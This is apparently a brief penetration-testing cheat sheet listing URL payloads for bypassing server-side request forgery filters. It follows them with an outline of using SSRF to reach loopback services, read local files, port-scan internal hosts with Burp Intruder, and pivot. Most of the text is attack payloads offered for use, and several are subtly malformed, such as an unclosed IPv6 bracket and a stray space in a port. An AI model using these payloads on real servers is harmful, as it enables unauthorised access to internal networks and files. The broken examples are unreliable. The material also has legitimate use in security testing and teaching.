SSRF Payloads To Bypass Firewall

Here are 5 payloads that could be used for bypassing defenses when it comes to SSRF (Server-Side Request Forgery):

1) Bypass SSRF with CIDR:
http://127.127.127.127
http://127.0.0.0

2) Bypass using rare address:
http://127.1
http://0

3) Bypass using tricks combination:
http://1.1.1.1 &Q2.2.2.2# @3.3.3.3/ urllib : 3.3.3.3

4) Bypass against a weak parser:
http://127.1.1.1:80\@127.2.2.2:80/

5) Bypass localhost with [:]:
http://[::1:80/
http://0000::1:80/

Let's remind ourselves what SSRF vulnerabilities are and what can we do with them. In general, SSRF allows us to:

Access services on the loopback interface running on the remote server. Scan internal network an potentially interact with the discovered services
Read local files on the server using file:// protocol handler
Move laterally / pivoting into the internal environment
How to find SSRF? When the target web application allows us to access external resources, e.g. a profile image loaded from external URL (running on a 3rd party website), we can try to load internal resources accessible by the vulnerable web application.

For example:
We discover that the following URL works:

https://example.com: 8000/page?
user=&link=https://127.0.0.1:8000

We can then run Intruder attack (Burp Suite) trying different ports, effectively doing a port scan of the host. We can also try to scan private IPs such as 192.168.x.x and discover alive IPs in the internal network
